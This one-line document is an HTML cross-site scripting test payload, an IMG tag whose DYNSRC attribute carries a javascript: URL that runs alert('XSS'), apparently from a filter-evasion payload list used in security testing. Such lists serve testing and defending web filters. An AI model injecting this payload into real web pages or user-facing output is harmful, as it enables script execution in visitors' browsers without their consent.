<IMG DYNSRC="javascript:alert('XSS')">